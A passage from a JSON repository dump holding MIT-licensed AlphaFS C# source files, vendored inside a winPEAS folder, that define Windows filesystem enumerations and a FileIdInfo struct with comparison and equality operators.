    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] Directory enumeration options, flags that specify how a directory is to be enumerated.</summary>\n   [Flags]\n   public enum DirectoryEnumerationOptions\n   {\n      /// <summary>None (do not use).</summary>\n      None = 0,\n\n      /// <summary>Enumerate files only.</summary>\n      Files = 1,\n\n      /// <summary>Enumerate directories only.</summary>\n      Folders = 2,\n\n      /// <summary>Enumerate files and directories.</summary>\n      FilesAndFolders = Files | Folders,\n\n      /// <summary>Return full path as long full path (Unicode format), only valid when return type is <see cref=\"string\"/>.</summary>\n      AsLongPath = 4,\n\n      /// <summary>Skip reparse points during directory enumeration.</summary>\n      SkipReparsePoints = 8,\n\n      /// <summary>Suppress any Exception that might be thrown as a result from a failure, such as ACLs protected directories or non-accessible reparse points.</summary>\n      ContinueOnException = 16,\n\n      /// <summary>Specifies whether to search the current directory, or the current directory and all subdirectories.</summary>\n      Recursive = 32,\n\n      /// <summary>Enumerates the directory without querying the short file name, improving overall enumeration speed.</summary>\n      /// <remarks>This option is enabled by default if supported. This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n      BasicSearch = 64,\n\n      /// <summary>Enumerates the directory using a larger buffer for directory queries, which can increase performance of the find operation.</summary>\n      /// <remarks>This option is enabled by default if supported. This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n      LargeCache = 128\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/DosDeviceAttributes.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Defines the controllable aspects of the Volume.DefineDosDevice() method.</summary>\n   [Flags]\n   public enum DosDeviceAttributes\n   {\n      /// <summary>DDD_EXACT_MATCH_ON_REMOVE\n      /// <para>Default.</para>\n      /// </summary>\n      None = 0,\n\n      /// <summary>DDD_RAW_TARGET_PATH\n      /// <para>Uses the targetPath string as is. Otherwise, it is converted from an MS-DOS path to a path.</para>\n      /// </summary>\n      RawTargetPath = 1,\n\n      /// <summary>DDD_REMOVE_DEFINITION\n      /// <para>Removes the specified definition for the specified device.</para>\n      /// <para>To determine which definition to remove, the function walks the list of mappings for the device, looking for a match of targetPath against a prefix of each mapping associated with this device.</para>\n      /// <para>The first mapping that matches is the one removed, and then the function returns.</para>\n      /// <para>If targetPath is null or a pointer to a null string, the function will remove the first mapping associated with the device and pop the most recent one pushed.If there is nothing left to pop, the device name will be removed.</para>\n      /// <para>If this value is not specified, the string pointed to by the targetPath parameter will become the new mapping for this device.</para>\n      /// </summary>\n      RemoveDefinition = 2,\n\n      /// <summary>DDD_EXACT_MATCH_ON_REMOVE\n      /// <para>If this value is specified along with <see cref=\"RemoveDefinition\"/>, the function will use an exact match to determine which mapping to remove.</para>\n      /// <para>Use this value to ensure that you do not delete something that you did not define.</para>\n      /// </summary>\n      ExactMatchOnRemove = 4,\n\n      /// <summary>DDD_NO_BROADCAST_SYSTEM\n      /// <para>Do not broadcast the WM_SETTINGCHANGE message.</para>\n      /// <para>By default, this message is broadcast to notify the shell and applications of the change.</para>\n      /// </summary>\n      NoBroadcastSystem = 8\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/EncryptedFileRawMode.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal partial class NativeMethods\n   {\n      /// <summary>Indicates the operation to be performed when opening a file using the OpenEncryptedFileRaw.</summary>\n      [Flags]\n      internal enum EncryptedFileRawMode\n      {\n         /// <summary>(0) Open the file for export (backup).</summary>\n         CreateForExport = 0,\n\n         /// <summary>(1) The file is being opened for import (restore).</summary>\n         CreateForImport = 1,\n\n         /// <summary>(2) Import (restore) a directory containing encrypted files. This must be combined with one of the previous two flags to indicate the operation.</summary>\n         CreateForDir = 2,\n\n         /// <summary>(4) Overwrite a hidden file on import.</summary>\n         OverwriteHidden = 4\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/ErrorMode.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Enum for struct ChangeErrorMode.</summary>\n      [Flags]\n      internal enum ErrorMode\n      {\n         /// <summary>Use the system default, which is to display all error dialog boxes.</summary>\n         SystemDefault = 0,\n\n         /// <summary>The system does not display the critical-error-handler message box. Instead, the system sends the error to the calling process/thread.</summary>\n         FailCriticalErrors = 1,\n         \n         /// <summary>The system does not display the Windows Error Reporting dialog.</summary>\n         NoGpfaultErrorbox = 2,\n\n         /// <summary>The system automatically fixes memory alignment faults and makes them invisible to the application. It does this for the calling process and any descendant processes. This feature is only supported by certain processor architectures.</summary>\n         NoAlignmentFaultExcept = 4,\n         \n         /// <summary>The system does not display a message box when it fails to find a file. Instead, the error is returned to the calling process/thread.</summary>\n         NoOpenFileErrorbox = 32768\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/ExtendedFileAttributes.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Specifies how the operating system should open a file.</summary>   \n   [SuppressMessage(\"Microsoft.Usage\", \"CA2217:DoNotMarkEnumsWithFlags\")]\n   [Flags]\n   public enum ExtendedFileAttributes \n   {\n      /// <summary>If you pass <see cref=\"ExtendedFileAttributes.None\"/>, the set of attributes is unspecified. <see cref=\"ExtendedFileAttributes.Normal\"/> explicitly sets no attributes.</summary>\n      None = 0,\n\n      #region FILE_ATTRIBUTE - Attributes applying to any file\n\n      /// <summary>The file is read only. Applications can read the file, but cannot write to or delete it.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.ReadOnly\"/>1</remarks>\n      ReadOnly = FileAttributes.ReadOnly,\n\n      /// <summary>The file is hidden. Do not include it in an ordinary directory listing.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.Hidden\"/>2</remarks>\n      Hidden = FileAttributes.Hidden,\n\n      /// <summary>The file is part of or used exclusively by an operating system.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.System\"/>4</remarks>\n      System = FileAttributes.System,\n\n      /// <summary>The handle that identifies a directory.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.Directory\"/>16</remarks>\n      Directory = FileAttributes.Directory,\n\n      /// <summary>The file should be archived. Applications use this attribute to mark files for backup or removal.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.Archive\"/>32</remarks>\n      Archive = FileAttributes.Archive,\n\n      /// <summary>Reserved for future use.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.Device\"/>64</remarks>\n      Device = FileAttributes.Device,\n\n      /// <summary>The file does not have other attributes set. This attribute is valid only if used alone.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.Normal\"/>128</remarks>\n      Normal = FileAttributes.Normal,\n\n      /// <summary>The file is being used for temporary storage.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.Temporary\"/>256</remarks>\n      Temporary = FileAttributes.Temporary,\n\n      /// <summary>A file that is a sparse file.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.SparseFile\"/>512</remarks>\n      SparseFile = FileAttributes.SparseFile,\n\n      /// <summary>A file or directory that has an associated reparse point, or a file that is a symbolic link.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.ReparsePoint\"/>1024</remarks>\n      ReparsePoint = FileAttributes.ReparsePoint,\n\n      /// <summary>A file or directory that is compressed. For a file, all of the data in the file is compressed. For a directory, compression is the default for newly created files and subdirectories.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.Compressed\"/>2048</remarks>\n      Compressed = FileAttributes.Compressed,\n\n      /// <summary>The data of a file is not immediately available. This attribute indicates that file data is physically moved to offline storage. This attribute is used by Remote Storage, the hierarchical storage management software. Applications should not arbitrarily change this attribute.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.Offline\"/>4096</remarks>\n      Offline = FileAttributes.Offline,\n\n      /// <summary>The file or directory is not to be indexed by the content indexing service.</summary>\n      /// <remarks>Equals <see cref=\"FileAttributes.NotContentIndexed\"/>8192</remarks>\n      NotContentIndexed = FileAttributes.NotContentIndexed,\n\n      /// <summary>The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and subdirectories.</summary>\n      /// <remarks>Equals <see cref=\"FileOptions.Encrypted\"/>16384</remarks>\n      Encrypted = FileOptions.Encrypted,\n\n      #endregion // FILE_ATTRIBUTE - Attributes applying to any file\n\n      /// <summary>The directory or user data stream is configured with integrity (only supported on ReFS volumes). It is not included in an ordinary directory listing. The integrity setting persists with the file if it's renamed. If a file is copied the destination file will have integrity set if either the source file or destination directory have integrity set.</summary>\n      /// <remarks>This flag is not supported until Windows Server 2012.</remarks>\n      IntegrityStream = 32768,\n\n      /// <summary>The user data stream not to be read by the background data integrity scanner (AKA scrubber). When set on a directory it only provides inheritance. This flag is only supported on Storage Spaces and ReFS volumes. It is not included in an ordinary directory listing.</summary>\n      /// <remarks>This flag is not supported until Windows Server 2012.</remarks>\n      NoScrubData = 131072,\n\n      /// <summary>...</summary>\n      FirstPipeInstance = 524288,\n\n      /// <summary>The file data is requested, but it should continue to be located in remote storage. It should not be transported back to local storage. This flag is for use by remote storage systems.</summary>\n      OpenNoRecall = 1048576,\n\n      /// <summary>Normal reparse point processing will not occur; an attempt to open the reparse point will be made. When a file is opened, a file handle is returned, whether or not the filter that controls the reparse point is operational. See MSDN documentation for more information.</summary>\n      OpenReparsePoint = 2097152,\n\n      /// <summary>Access will occur according to POSIX rules. This includes allowing multiple files with names, differing only in case, for file systems that support that naming. Use care when using this option, because files created with this flag may not be accessible by applications that are written for MS-DOS or 16-bit Windows.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Posix\")]\n      PosixSemantics = 16777216,\n\n      /// <summary>The file is being opened or created for a backup or restore operation. The system ensures that the calling process overrides file security checks when the process has SE_BACKUP_NAME and SE_RESTORE_NAME privileges. You must set this flag to obtain a handle to a directory. A directory handle can be passed to some functions instead of a file handle.</summary>\n      BackupSemantics = 33554432,\n\n      /// <summary>The file is to be deleted immediately after all of its handles are closed, which includes the specified handle and any other open or duplicated handles. If there are existing open handles to a file, the call fails unless they were all opened with the <see cref=\"FileShare.Delete\"/> share mode. Subsequent open requests for the file fail, unless the <see cref=\"FileShare.Delete\"/> share mode is specified.</summary>\n      /// <remarks>Equals <see cref=\"FileOptions.DeleteOnClose\"/>67108864</remarks>\n      DeleteOnClose = FileOptions.DeleteOnClose,\n\n      /// <summary>Access is intended to be sequential from beginning to end. The system can use this as a hint to optimize file caching.</summary>\n      /// <remarks>Equals <see cref=\"FileOptions.SequentialScan\"/>134217728</remarks>\n      SequentialScan = FileOptions.SequentialScan,\n\n      /// <summary>Access is intended to be random. The system can use this as a hint to optimize file caching.</summary>\n      /// <remarks>Equals <see cref=\"FileOptions.RandomAccess\"/>268435456</remarks>\n      RandomAccess = FileOptions.RandomAccess,\n\n      /// <summary>There are strict requirements for successfully working with files opened with the <see cref=\"NoBuffering\"/> flag, for details see the section on \"File Buffering\" in the online MSDN documentation.</summary>\n      NoBuffering = 536870912,\n\n      /// <summary>The file or device is being opened or created for asynchronous I/O.</summary>\n      /// <remarks>Equals <see cref=\"FileOptions.Asynchronous\"/>1073741824</remarks>\n      Overlapped = FileOptions.Asynchronous,\n\n      /// <summary>Write operations will not go through any intermediate cache, they will go directly to disk.</summary>\n      /// <remarks>Equals .NET <see cref=\"FileOptions.WriteThrough\"/>-2147483648</remarks>\n      WriteThrough = FileOptions.WriteThrough\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/FileEncryptionStatus.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Represents the encryption status of the specified file.</summary>\n   public enum FileEncryptionStatus\n   {\n      /// <summary>The file can be encrypted.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Encryptable\")]\n      Encryptable = 0,\n\n      /// <summary>The file is encrypted.</summary>\n      Encrypted = 1,\n\n      /// <summary>The file is a system file. System files cannot be encrypted.</summary>\n      SystemFile = 2,\n\n      /// <summary>The file is a root directory. Root directories cannot be encrypted.</summary>\n      RootDirectory = 3,\n\n      /// <summary>The file is a system directory. System directories cannot be encrypted.</summary>\n      SystemDirectory = 4,\n\n      /// <summary>The encryption status is unknown. The file may be encrypted.</summary>\n      Unknown = 5,\n\n      /// <summary>The file system does not support file encryption.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Filesystem\")]\n      NoFilesystemSupport = 6,\n\n      /// <summary>Reserved for future use.</summary>\n      UserDisallowed = 7,\n\n      /// <summary>The file is a read-only file.</summary>\n      ReadOnly = 8\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/FileIdInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Globalization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Contains information that the GetFileInformationByHandle function retrieves.</summary>\n   [Serializable]\n   public struct FileIdInfo : IComparable, IComparable<FileIdInfo>, IEquatable<FileIdInfo>\n   {\n      #region Fields\n\n      [NonSerialized] private readonly long _volumeSerialNumber;\n      [NonSerialized] private readonly long _fileIdHighPart;\n      [NonSerialized] private readonly long _fileIdLowPart;\n\n      #endregion // Fields\n\n\n      #region Constructors\n\n      internal FileIdInfo(NativeMethods.BY_HANDLE_FILE_INFORMATION fibh)\n      {\n         _volumeSerialNumber = fibh.dwVolumeSerialNumber;\n\n         _fileIdHighPart = 0;\n         _fileIdLowPart = NativeMethods.ToLong(fibh.nFileIndexHigh, fibh.nFileIndexLow);\n      }\n\n\n      internal FileIdInfo(NativeMethods.FILE_ID_INFO fi)\n      {\n         _volumeSerialNumber = fi.VolumeSerialNumber;\n\n         // The identifier is stored in the array of fi.FileId so that the lowest byte is at index 0.\n\n         ArrayToLong(fi.FileId, 0, 8, out _fileIdLowPart);\n         ArrayToLong(fi.FileId, 8, 8, out _fileIdHighPart);\n      }\n\n      #endregion // Constructors\n\n\n      #region Methods\n\n      /// <summary>Construct the value stored in a byte array ordered in Little-Endian.</summary>\n      /// <param name=\"fileId\">The array containing the bytes.</param>\n      /// <param name=\"startIndex\">The starting index.</param>\n      /// <param name=\"count\">The number of bytes to convert.</param>\n      /// <param name=\"value\">The output value.</param>        \n      private static void ArrayToLong(byte[] fileId, int startIndex, int count, out long value)\n      {\n         value = 0;\n\n         for (var i = 0; i < count; i++)\n            value |= (long) fileId[startIndex + i] << (8 * i);\n      }\n\n\n      /// <summary>Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object.</summary>\n      /// <param name=\"obj\">An object to compare with this instance.</param>\n      /// <returns>A value that indicates the relative order of the objects being compared. The return value has these meanings: Value Meaning Less than zero This instance precedes <paramref name=\"obj\"/> in the sort order. Zero This instance occurs in the same position in the sort order as <paramref name=\"obj\" />. Greater than zero This instance follows <paramref name=\"obj\"/> in the sort order.</returns>        \n      public int CompareTo(object obj)\n      {\n         if (null == obj)\n            return 1;\n\n         if (!(obj is FileIdInfo))\n            throw new ArgumentException(\"Object must be of type FileIdInfo\");\n\n         return CompareTo((FileIdInfo) obj);\n      }\n\n\n      /// <summary>Compares the current object with another object of the same type.</summary>\n      /// <param name=\"other\">An object to compare with this object.</param>\n      /// <returns>A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the <paramref name=\"other\"/> parameter.Zero This object is equal to <paramref name=\"other\" />. Greater than zero This object is greater than <paramref name=\"other\" />.</returns>        \n      public int CompareTo(FileIdInfo other)\n      {\n         return _volumeSerialNumber != other._volumeSerialNumber\n\n            ? Math.Sign(_volumeSerialNumber - other._volumeSerialNumber)\n\n            : (_fileIdHighPart != other._fileIdHighPart\n\n               ? Math.Sign(_fileIdHighPart - other._fileIdHighPart)\n               : Math.Sign(_fileIdLowPart - other._fileIdLowPart));\n      }\n\n\n      /// <summary>Returns a <see cref=\"string\"/> that represents this instance.</summary>\n      /// <returns>A <see cref=\"string\"/> that represents this instance.</returns>\n      public override string ToString()\n      {\n         unchecked\n         {\n            // The identifier is composed of 64-bit volume serial number and 128-bit file system entry identifier.\n\n            return string.Format(CultureInfo.InvariantCulture, \"{0}-{1}-{2} : {3}-{4}-{5}\",\n\n               ((uint) (_volumeSerialNumber >> 32)).ToString(\"X\", CultureInfo.InvariantCulture),\n               ((ushort) (_volumeSerialNumber >> 16)).ToString(\"X\", CultureInfo.InvariantCulture),\n               ((ushort) _volumeSerialNumber).ToString(\"X\", CultureInfo.InvariantCulture),\n\n               _fileIdHighPart.ToString(\"X\", CultureInfo.InvariantCulture),\n               ((uint) (_fileIdLowPart >> 32)).ToString(\"X\", CultureInfo.InvariantCulture),\n               ((uint) _fileIdLowPart).ToString(\"X\", CultureInfo.InvariantCulture));\n         }\n      }\n\n\n      /// <summary>Returns a hash code for this instance.</summary>\n      /// <returns>A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.</returns>\n      public override int GetHashCode()\n      {\n         unchecked\n         {\n            // _fileIdHighPart is 0 on NTFS and should be often 0 on ReFS, thus ignore it.\n\n            return (int) _fileIdLowPart ^ ((int) (_fileIdLowPart >> 32) | (int) _volumeSerialNumber);\n         }\n      }\n\n\n      /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n      /// <param name=\"other\">An object to compare with this object.</param>\n      /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n      public bool Equals(FileIdInfo other)\n      {\n         return _fileIdLowPart == other._fileIdLowPart && _fileIdHighPart == other._fileIdHighPart && _volumeSerialNumber == other._volumeSerialNumber;\n      }\n\n\n      /// <summary>Determines whether the specified <see cref=\"object\" />, is equal to this instance.</summary>\n      /// <param name=\"obj\">The <see cref=\"object\"/> to compare with this instance.</param>\n      /// <returns><c>true</c> if the specified <see cref=\"object\"/> is equal to this instance; otherwise, <c>false</c>.</returns>\n      public override bool Equals(object obj)\n      {\n         return obj is FileIdInfo && Equals((FileIdInfo) obj);\n      }\n      \n\n      /// <summary>Indicates whether the values of two specified <see cref=\"FileIdInfo\"/> objects are equal.</summary>\n      /// <param name=\"first\">The first object to compare.</param>\n      /// <param name=\"second\">The second object to compare.</param>\n      /// <returns>true if <paramref name=\"first\"/> and <paramref name=\"second\"/> are equal; otherwise, false.</returns>\n      public static bool operator ==(FileIdInfo first, FileIdInfo second)\n      {\n         return first._fileIdLowPart == second._fileIdLowPart && first._fileIdHighPart == second._fileIdHighPart && first._volumeSerialNumber == second._volumeSerialNumber;\n      }\n\n\n      /// <summary>Indicates whether the values of two specified <see cref=\"FileIdInfo\"/> objects are not equal.</summary>\n      /// <param name=\"first\">The first object to compare.</param>\n      /// <param name=\"second\">The second object to compare.</param>\n      /// <returns>true if <paramref name=\"first\"/> and <paramref name=\"second\"/> are not equal; otherwise, false.</returns>\n      public static bool operator !=(FileIdInfo first, FileIdInfo second)\n      {\n         return first._fileIdLowPart != second._fileIdLowPart || first._fileIdHighPart != second._fileIdHighPart || first._volumeSerialNumber != second._volumeSerialNumber;\n      }\n\n\n      /// <summary>Implements the operator &lt;.</summary>\n      /// <param name=\"first\">The first operand.</param>\n      /// <param name=\"second\">The second operand.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator <(FileIdInfo first, FileIdInfo second)\n      {\n         // Note: Must be tested in this order.\n\n         return first._volumeSerialNumber < second._volumeSerialNumber || first._fileIdHighPart < second._fileIdHighPart || first._fileIdLowPart < second._fileIdLowPart;\n      }\n\n\n      /// <summary>Implements the operator &gt;.</summary>\n      /// <param name=\"first\">The first operand.</param>\n      /// <param name=\"second\">The second operand.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator >(FileIdInfo first, FileIdInfo second)\n      {\n         // Note: Must be tested in this order.\n\n         return first._volumeSerialNumber > second._volumeSerialNumber || first._fileIdHighPart > second._fileIdHighPart || first._fileIdLowPart > second._fileIdLowPart;\n      }\n\n      #endregion // Methods\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/FinalPathFormats.cs",
